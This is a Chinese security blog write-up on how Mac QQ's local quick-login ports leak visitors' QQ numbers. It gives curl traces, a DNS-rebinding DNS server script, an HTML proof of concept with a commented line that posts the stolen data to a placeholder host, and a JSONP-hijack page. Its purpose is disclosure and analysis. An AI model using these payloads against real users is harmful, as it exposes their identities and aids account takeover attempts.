0x01 前言
在 V2EX 看到个有趣的帖子:通过 QQ 客户端登录 Web 邮箱的身份认证漏洞。
于是研究了一下自己 Mac 上打开 QQ 邮箱的流程,发现利用 QQ 快速登录的一些设计缺陷可以在 Web 端获取访客的 QQ 号,甚至有可能获取到访客的 clientkey
来登陆他的 QQ 邮箱、空间等(虽然最后遇到坑失败了 Orz)。
只有 Mac QQ
受影响。(文中提到的 QQ 版本: Windows QQ 轻聊版 7.9
,Mac QQ MAS 版 5.4.1
,文中部分参数在不影响阅读前提下经过处理)
0x02 初探
参考 How Does QQ Know Who I am,首先看看 Mac 版 QQ 的监听端口:
$ lsof -n -P -i TCP -s TCP:LISTEN | grep 430
QQ 852 user 44u IPv4 0x31f4b01c692c6bef 0t0 TCP 127.0.0.1:4300 (LISTEN)
QQ 852 user 45u IPv4 0x31f4b01c692c59ff 0t0 TCP 127.0.0.1:4301 (LISTEN)
可以看到 QQ 默认监听了本地的 4300
和 4301
端口,这两个端口的区别就是前者是 HTTP
协议而后者是 HTTPS
的。
用户在网页端使用快速登录时,会先对这两个端口中的一个进行请求获取当前登陆的 QQ 号(多个 QQ 号的信息会一同返回):
http://localhost.ptlogin2.qq.com:4300/pt_get_uins?callback=ptui_getuins_CB&pt_local_tk=123
https://localhost.ptlogin2.qq.com:4301/pt_get_uins?callback=ptui_getuins_CB&pt_local_tk=123
测试发现 QQ 空间和邮箱的客户端快速登录用的是 4031 端口,而 www.qq.com 官网弹出的快速登录窗口用的又是 4300 端口,不明白为什么不统一使用更安全的 4031 端口。
如果没有从这两个默认端口获取到信息,快速登录的 SDK 会更换端口进行重试。比如接下来请求的 HTTP 的端口会依次是 4300、4302、4304、4306… HTTPS 的端口会依次是 4301、4303、4305、4307…
参考QQ模拟登录实现后篇,重试请求最多五次。
在本机用 curl
模拟请求这个接口:
$ curl -v http://127.0.0.1:4300/pt_get_uins\?callback\=ptui_getuins_CB
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 4300 (#0)
> GET /pt_get_uins?callback=ptui_getuins_CB HTTP/1.1
> Host: 127.0.0.1:4300
> User-Agent: curl/7.51.0
>
< HTTP/1.1 200 OK
< Date: Tue, 13 Jun 2017 11:50:47 GMT
< Accept-Ranges: bytes
< Content-Length: 185
< Content-Type: Application/javascript
<
* Curl_http_done: called premature == 0
* Connection #0 to host 127.0.0.1 left intact
var var_sso_uin_list=[{"account":"123456","client_type":65793,"face_index":540,"gender":
1,"nickname":"Test","uin":"123456","uin_flag":12345678}];ptui_getuins_CB(var_sso_uin_list);
$ curl -v https://127.0.0.1.xip.io:4301/pt_get_uins\?callback\=ptui_getuins_CB -k
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1.xip.io (127.0.0.1) port 4301 (#0)
* TLS 1.2 connection using TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
* Server certificate: localhost.ptlogin2.qq.com
* Server certificate: GlobalSign Organization Validation CA - SHA256 - G2
* Server certificate: GlobalSign Root CA
> GET /pt_get_uins?callback=ptui_getuins_CB HTTP/1.1
> Host: 127.0.0.1.xip.io:4301
> User-Agent: curl/7.51.0
>
< HTTP/1.1 200 OK
< Date: Tue, 13 Jun 2017 11:33:07 GMT
< Accept-Ranges: bytes
< Content-Length: 185
< Content-Type: Application/javascript
<
* Curl_http_done: called premature == 0
* Connection #0 to host 127.0.0.1.xip.io left intact
var var_sso_uin_list=[{"account":"123456","client_type":65793,"face_index":540,"gender":
1,"nickname":"Test","uin":"123456","uin_flag":12345678}];ptui_getuins_CB(var_sso_uin_list);
可以看到无论是 4300 和 4301 端口都“来者不拒”,并未做任何验证,这与 Windows 版 QQ 有很大区别。我们能不能利用它搞点事情呢?
(接下来思路歪到火星了… 简单的问题搞得太复杂,其实这就是个 JSONP 的请求,具体请看文末)
不过和之前出现在百度的安卓 SDK 的 WormHole 漏洞不一样,QQ 监听的是本地端口,所以从外部是无法访问的。
所以如果想从 Web 发送请求到 127.0.0.1(localhost.ptlogin2.qq.com),肯定会被同源策略(SOP)给拦截掉。
0x03 DNS Rebinding
思考了一下绕过 SOP 的方法,想起来去年 SSRF
火热的时候流行的一个手段——DNS Rebinding。
可以参考 Ricterz 的用 DNS Rebinding 绕过域名 IP 校验的文章:Use DNS Rebinding to Bypass IP Restriction。
同理我们也可以试着用 DNS Rebinding 欺骗浏览器从而绕过 SOP。
具体操作参考关于 DNS-rebinding 的总结。
先准备一个域名 xxx.net
,添加一条 NS 记录
和 A 记录
:
A 记录表示域名 ns.xxx.net
的 IP 地址是 45.77.11.22
。
NS 记录表示 rebind.xxx.net
这个子域名指定由 ns.xxx.net
这个域名服务器来解析。
然后在 ns.xxx.net 上搭建我们自定义的 DNS 服务器,代码如下:
from twisted.internet import reactor, defer
from twisted.names import client, dns, error, server
record={}
class DynamicResolver(object):
def _doDynamicResponse(self, query):
name = query.name.name
if name not in record or record[name]<1:
ip = "45.77.11.22"
else:
ip = "127.0.0.1"
if name not in record:
record[name] = 0
record[name] += 1
print name + " ===> " + ip
answer = dns.RRHeader(
name = name,
type = dns.A,
cls = dns.IN,
ttl = 0,
payload = dns.Record_A(address = b'%s' % ip, ttl=0)
)
answers = [answer]
authority = []
additional = []
return answers, authority, additional
def query(self, query, timeout=None):
return defer.succeed(self._doDynamicResponse(query))
def main():
factory = server.DNSServerFactory(
clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]
)
protocol = dns.DNSDatagramProtocol(controller=factory)
reactor.listenUDP(53, protocol)
reactor.run()
if __name__ == '__main__':
raise SystemExit(main())
需要安装 twisted
库,如果 pip install twisted
不成功的话建议下载源码包然后 python setup.py install
。
以 Root 权限运行脚本(记得打开防火墙的 53 端口),DNS 服务器就搞定了。
接着写 PoC:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Rebind Test</title>
</head>
<body>
<script src="//upcdn.b0.upaiyun.com/libs/jquery/jquery-2.0.3.min.js"></script>
<script>
function GetUin(){
$.ajax({
url: "http://rebind.xxx.net:4300/pt_get_uins?callback=hello",
type: "GET",
dataType: "text",
success: function(data){
// $.post("http://xxxx", {'qq_uin': data})}
alert(data);
}
});
}
// 让子弹飞一会儿
setTimeout("GetUin()", 3000);
</script>
</body>
</html>
保存为 index.html
,执行 python -m SimpleHTTPServer 4300
开启一个简单的 WebServer,
最后访问 http://rebind.xxx.net:4300
,成功获得了访问用户的 QQ 信息:
此时服务器上的日志:
(因为浏览器会缓存 DNS 记录,所以测试时需要清理一下 chrome://net-internals/#dns
和 chrome://net-internals/#sockets
)。
0x04 深入
文章开头 V2EX 的帖子提到用 QQ 客户端打开邮箱时会生成一个包含 clientuin
和 clientkey
的链接,任何人访问这个链接就能打开对应的 QQ 邮箱乃至 QQ 空间等其他腾讯业务。
想起来很久之前看过的一个漏洞:你 Windows 上开着 QQ 点了我的链接我就进了你的 QQ 邮箱财付通等(任意腾讯 XSS 拿 QQ 的 clientkey)。
这个漏洞主要是用 XSS偷 clientuin 和 clientkey,漏洞作者有提到一句话:
这个请求的 token 校验没有经过服务端验证,直接就是看 get 参数里的 pt_local_tk 是否和 cookie 中的 pt_local_token 相等这样的话,攻击者就可以更轻松的去伪造请求让用户快速登陆。而且,理论上本机 localhost 上的任何软件都可以很轻易的伪造请求来获取当前登陆 QQ 的 clientkey
如果已经能在用户电脑上安装软件了,还用这种方法获取 clientkey 看起来多此一举。
那我们是不是也能用 DNS Rebinding 的方法得到 clientkey 呢?
继续分析快速登陆流程,获取到当前登陆的 QQ 号后,用户在页面点击自己的 QQ 头像,会请求
http://localhost.ptlogin2.qq.com:4300/pt_get_st?clientuin=123456&callback=ptui_getst_CB&pt_local_tk=123
// 或
https://localhost.ptlogin2.qq.com:4301/pt_get_st?clientuin=123456&callback=ptui_getst_CB&pt_local_tk=123
如果请求成功会返回包含 clientkey 的 Cookie。
但不幸的是这里检查了 Referer
:
// 简化的请求
GET /pt_get_st?clientuin=123456&callback=ptui_getst_CB HTTP/1.1
Host: localhost.ptlogin2.qq.com:4300
Connection: close
Referer: http://ptlogin2.qq.com
这个请求检查 Referer 是否来自 *.ptlogin2.qq.com
或 *.ptlogin2.qcloud.com
等腾讯自己的域名,且二级域名必须是 ptlogin2
。否则就会 400 Bad Request:
因为 JS 无法修改 Referer,所以需要一个白名单域下的 302 任意跳转或 XSS,或者浏览器层的 Referer 欺骗(如 Referrer spoofing with iframe injection)。
可惜找了一圈没找到可用的漏洞,只能先放着了。(话说呆子不开口提交漏洞报告后腾讯好像只是修复了 ui.ptlogin2.qq.com
的 XSS 漏洞,并没有对整个流程进行修改)
接着看了下 Windows 版 QQ,同样默认监听了本地的 4300 和 4301 端口:
$ netstat -an | findstr 430
TCP 127.0.0.1:4300 0.0.0.0:0 LISTENING
TCP 127.0.0.1:4301 0.0.0.0:0 LISTENING
经测试 Windows 版 QQ 相比 Mac 版多了有三处变化:
- Referer 验证。Referer 必须来自于
*.qq.com
、*.tencent.com
、*.weiyun.com
等腾讯自己的域名。 - Cookie 验证。GET 参数中的 pt_local_tk 必须与 Cookie 中的 pt_local_token 相同。
- Hostname 验证。请求头中的
Host
必须是localhost.ptlogin2.qq.com
。
第一个和第二个验证使从其他网站发送的 AJAX 请求无效,因为浏览器会拒绝修改 HTTP 头中的 Referer 和 Cookie :
而第三个验证会让 DNS Rebinding 失效,因为我们控制的域名不可能和 localhost.ptlogin2.qq.com 一样。
一个简化的 Windows 版 QQ 请求本地 4301 端口内容:
GET /pt_get_uins?callback=ptui_getuins_CB&pt_local_tk=123 HTTP/1.1
Host: localhost.ptlogin2.qq.com:4301
Connection: close
Referer: http://test.qq.com
Cookie: pt_local_token=123;
用 curl 模拟请求:
$ curl -i -v -s -k -X "GET" -H "Referer: http://test.qq.com" -b "pt_local_token=123" --cacert "F:\ca-bundle.crt" \
"https://localhost.ptlogin2.qq.com:4301/pt_get_uins?callback=ptui_getuins_CB&pt_local_tk=123"
* timeout on name lookup is not supported
* Trying 127.0.0.1...
* Connected to localhost.ptlogin2.qq.com (127.0.0.1) port 4301 (#0)
* ALPN, offering http/1.1
* Cipher selection: ALL:!EXPORT:!EXPORT40:!EXPORT56:!aNULL:!LOW:!RC4:@STRENGTH
* successfully set certificate verify locations:
* CAfile: F:\ca-bundle.crt
CApath: none
* TLSv1.2 (OUT), TLS header, Certificate Status (22):
* // 省略部分 TLS handshake ……
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / AES256-GCM-SHA384
* ALPN, server did not agree to a protocol
* Server certificate:
* subject: C=CN; ST=guangdong; L=shenzhen; O=Shenzhen Tencent Computer Systems Compan
y Limited; CN=localhost.ptlogin2.qq.com
* start date: May 15 07:01:45 2017 GMT
* expire date: May 16 07:01:45 2018 GMT
* issuer: C=BE; O=GlobalSign nv-sa; CN=GlobalSign Organization Validation CA - SHA256
- G2
* SSL certificate verify result: unable to get local issuer certificate (20), continu
ing anyway.
> GET /pt_get_uins?callback=ptui_getuins_CB&pt_local_tk=123 HTTP/1.1
> Host: localhost.ptlogin2.qq.com:4301
> Cookie: pt_local_token=123
> Referer: http://test.qq.com
>
< HTTP/1.1 200 OK
< Content-Type: Application/javascript
< Content-Length: 176
<
var var_sso_uin_list=[{"account":"123456","client_type":65793,"face_index":540,"gender":
1,"nickname":"Test","uin":"123456","uin_flag":12345678}];ptui_getuins_CB(var_sso_uin_list);
如果修改 hostname,虽然 IP 都是 127.0.0.1,依然会报错。
$ curl -i -s -k -v -X "GET" -H "Referer: http://test.qq.com" -b "pt_local_token=123" --cacert "F:\ca-bundle.crt\
"https://127.0.0.1.xip.io:4301/pt_get_uins?callback=ptui_getuins_CB&pt_local_tk=123"
* timeout on name lookup is not supported
* Trying 127.0.0.1...
* Connected to 127.0.0.1.xip.io (127.0.0.1) port 4301 (#0)
* ALPN, offering http/1.1
* Cipher selection: ALL:!EXPORT:!EXPORT40:!EXPORT56:!aNULL:!LOW:!RC4:@STRENGTH
* successfully set certificate verify locations:
* CAfile: F:\ca-bundle.crt
CApath: none
* TLSv1.2 (OUT), TLS header, Certificate Status (22):
* TLSv1.2 (OUT), TLS handshake, Client hello (1):
* Unknown SSL protocol error in connection to 127.0.0.1.xip.io:4301
* Closing connection 0
有了这三个验证,从 Web 端利用这个接口获取 Windows 访客 QQ 号就行不通了。
0x05 总结
QQ Mac 版和 Windows 版在实现快速登录的流程是一样的,但具体细节明显是 Windows 版更完善。
只监听本地端口并不意味着就不会受到外部的攻击,利用 DNS Rebinding 甚至可以攻击开发者本地的数据库。
目前对于 DNS Rebinding 没有太好的解决办法,主流浏览器有一个DNS 阻塞(DNS pinning
)的机制。
简单来说,就是某些包含特定端口(如 SMTP 和 IRC)的网站一旦被加载完成,浏览器就需要忽略其 DNS 的变化。
所以除了依赖浏览器,程序在接收外部请求时也要严格验证其合法性。
0x06 参考
Update 2017/07/02
本来写的好玩的好像引起了关注 = =!
看到微博上 P牛
提醒才发现那么明显的 callback
我居然没注意到,看来半夜瞎折腾果然不靠谱……
既然是 JSONP
的话就很简单了,因为本来就是用来跨域获取数据的,所以参考黑哥的大作 JSONP 安全攻防技术,直接劫持一下就搞定:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>JSONP Test</title>
</head>
<body>
<script>
function ptui_getuins_CB(data) {
data.forEach(function (qq) {
alert(JSON.stringify(qq));
})
}
</script>
<script src="http://127.0.0.1:4300/pt_get_uins?callback=ptui_getuins_CB"></script>
</body>
</html>
感谢分享!已推荐到《开发者头条》:https://toutiao.io/posts/jnxkrc 欢迎点赞支持!
欢迎订阅《杂说乱炖》https://toutiao.io/subjects/33419